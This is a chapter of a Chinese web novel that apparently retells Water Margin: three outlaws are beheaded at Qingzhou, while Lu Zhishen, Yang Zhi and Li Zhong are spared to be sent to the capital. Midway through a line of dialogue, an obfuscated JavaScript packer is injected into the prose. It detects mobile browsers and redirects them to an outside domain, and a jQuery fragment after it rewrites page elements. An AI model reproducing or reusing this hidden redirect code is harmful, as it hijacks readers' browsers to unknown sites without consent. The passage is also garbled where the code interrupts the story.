慕容彦达府上,张虞侯一溜小跑,急急忙忙找到正在逗鸟说话的知府大人。 “不好了,不好了!” “何事如此匆忙?” 慕容彦达皱眉看着自己这位手下——这般有失体统,若非他心情好,早就一棍子将其扫出门去了。 张虞侯跑到近前,四处张望一番,见周围侍女知趣地退下后,这才附在慕容彦达耳边,压低了声音,将自己方才听到的那些流言蜚语,又添油加醋地细细复述了一遍。 果然,慕容彦达立即火冒三丈:“还有这等事?这六个活生生的人,还能是假的不成!” “唉,话是这么说,可您也知道三人成虎,还是不能不把这事儿放在心上啊。” 慕容彦达重重叹了口气:“我何尝不知道将反贼押解进京,才是最好的法子,可是这六个强人个个一身的好本事,从青州到东京,最快也要十天,万一路上出了纰漏,如何交代?” 张虞侯拧着眉头沉思半响,突然眼前一亮:“大人,既然这些愚民对清风山贼寇没有异议,不如将那三人先斩首示众,然后将剩下三人,分批次押解进京,这样每次派出去的人,只需要看护一个,我就不信还能跑得了。” “嗯,此法倒是可行。”慕容彦达点了点,“将那三人明日便押往十字路口斩首,其余三人,也一并押去观刑,让他们亮个象,给那些愚民愚妇好好瞧瞧。” 张虞侯领了命,忙不迭准备向大牢跑去。 慕容彦达脑间一转,又将他喊了回来,在耳边细细叮嘱一番。 张虞侯听罢连连点头:“高呀!大人这招着实是高!定叫他们晓得什么是雷霆雨露,哈哈哈……” * 翌日清晨,青州十字路口,人声鼎沸。 晨曦穿透薄雾,将这市井衬得烟火气十足。 一个小贩担着箩筐,沿街叫卖,却发现突然来了七八个全副武装的公差,立即凑上前去:“大人,要来点炊饼吗?早上刚做的,两文钱一个……” “滚你的蛋!”公差不耐烦地将他推到一边,手上却不忘拿过那小贩递来的炊饼,“赶紧闪一边去!” 那小贩见状,也不敢再上前问这些公差要钱,赶紧担起扁担让路。 只见那七八个公差,匆忙将这十字路口打扫一番,又团团围住,不准旁人再靠近。 周围百姓见了,心照不宣——这是有砍头的好戏看咯! 另一边,张虞侯早早就点了狱卒、民壮、刽子等一百余人,在大牢前伺候着。 慕容彦达捱到辰时才姗姗来迟,见一众官员都已等候在公堂,颇为满意,叫人将六个反贼带上公堂,当案孔目把几人的犯由牌呈上,慕容彦不由分说判了六个“斩”字,便挥一挥袖子退了堂。 武松站得近,将那“斩”字看得真切,不由得担心起来——难道这众口铄金也不足以改变慕容彦达的心思? 抬眼向郁竺看去,却见对方也正在看向自己,面色轻松,似是胸有成竹,武松只得将一颗心先放到肚子里。 狱卒们将几个人犯当堂装扮起来,用胶水给他们将头发刷得服服帖帖,又绾个鹅梨角儿,再一人插了一朵红纸石榴花。 由于鲁智深没有头发,那负责打扮的狱卒还别出心裁地将花别到了他耳朵后面。 这时的男子普遍爱簪花,尤其是重要的节庆仪式更要簪上各式的绢花,如今这“断头纸花”,算是他们人生中至暗时刻的唯一装扮了。 燕顺、郑天寿、李忠等人想到这处,竟是脚发软,站也站不住。 那些公人哪里管得了这人犯什么心情,照例将他们押到青面圣者神案前,一人一碗长休饭并一碗永别酒,只是他们也知道,很少有人在此刻能吃得下这断头酒的。 却见鲁智深示意一边的公人端起那酒碗送至他嘴边,一口干了个底朝天。因手被枷着,动起来不便,喝完之后他就一甩头,随意将那碗甩到地上,口中竟是赞叹道:“好酒!” “嘿!你这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14187980|148727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胖大和尚倒是心宽,死到临头了竟然不怕。”张虞侯觉得甚有意思,走到鲁智深面前将他打量一番。 谁知这大胖和尚还没开口,旁边那青脸汉子抢先说了话:“各位大人,我乃杨令公之孙,在高太尉手下做过殿司制使,也在梁中书手下当过管军提辖使,我并非有心反了朝廷,实在是一身本事报国无门才出此下策啊,万望诸位大人明察。” 说着就要叩首,只不过他戴着枷,那木枷碰得地面砰砰作响。 郁竺见状在心里不住摇头,早知如此,她一定会找机会和杨志事先沟通一下。 果然,他这句话没起到任何效果,张虞侯一脚踢在他身上:“我管你是谁,我还是玉皇大帝的女婿呢!” 最后的挣扎没有起到作用,杨志顿时面色发灰,半句言语也无。 张虞侯见状,挥挥手命人将六人押往法场,州府一众官吏亦随行前往。 郁竺夹杂在这一行人当中,一路行至法场,只见四周早已围满了百姓,里三层外三层的,人头攒动,粗略估算下来,怕是足有上千人之多,嘈杂的人声嗡嗡作响,就差将这法场上空掀翻了去。 公差将六人分成两组,清风山三人面南朝北,二龙山桃花山三人面北朝南,两两相对。 三个刽子分别站在王英、燕顺、郑天寿的侧边,砍刀在阳光的照射下映着寒光。 法场外,压肩叠背的人群,像汹涌的潮水,推搡着、叫嚷着,都想占据一个观赏的好位置。 法场内,时间仿佛凝固了,一分一秒都过得无比漫长。 终于等到午时三刻,刽子将那犯由牌拆下,高喊一声“恶杀都来”,那王英见状大吼一声“二十年后仍是……” 话音未落,三口大刀便齐齐落下,温热的献血喷涌而出,洒了对面另外三个人犯一身,人群中爆发出此起彼伏的叫好声。 只见三个脑袋咕噜噜滚在一起,俊的丑的、胖的瘦的,此时也分辨不出来了。 未斩的三个人犯见状,神色各异,李忠的双股间淅淅沥沥滴着液体。 郁竺将手伸进袖中,捏住迷魂香,心如擂鼓,却强行让自己镇定下来——她始终相信自己的判断,这不过是最后一重保险。 果然,三个刽子绕到另一侧,还未将大刀抬起,便听到张虞侯说道:“且慢!” 众人面面相觑。 只见张虞侯得意一笑:“知府大人早有命令,鲁智深、杨志、李忠三名反贼,择日押往东京,听候圣裁。” 说罢,他转身朝三人说道:“可要知道,知府老爷一句话,便能叫尔等生,也能让尔等死。区区三山反贼,不过如同草芥蝼蚁,何足挂齿!” 郁竺见状松了一口气,捏着迷魂香的手从袖中抽出。 只见三个人又被押着从法场上下了,关进了囚车,车轮轰隆作响,缓缓驶向监牢。 围观的百姓少看了一次热闹,失望得紧,纷纷向三人扔起了烂菜叶子。 鲁智深从头至尾便未露出过什么恐惧之色,此时更是面容平静,任由那菜叶子耷拉在自己光头上。 李忠则是大口喘着气,虽说进京后命运未知,但好歹暂时活下来了,也算劫后余生。 唯有杨志,自在公堂上被张虞侯踹了一脚,脸色便一直阴沉得可怕,此刻身在囚车里,百姓的辱骂自四面八方席卷而来,更是将他心头之火吹得熊熊燃起。 说什么听候圣裁,还不是去给人羞辱一番再结束性命。 此次已经被当做猴儿耍了一回,还要再来一次,真当他杨志便是那惜命怕死毫无廉耻之人吗? 他只不过不愿背负着贼寇的恶名去死,给祖宗遗体添了污点罢了。 想到这处,杨志目光向囚车前的几人扫去,眼神狠厉。 这世道,什么人都能活出个样子,偏偏自己三代将门之后,时乖运蹇。 苍天无眼!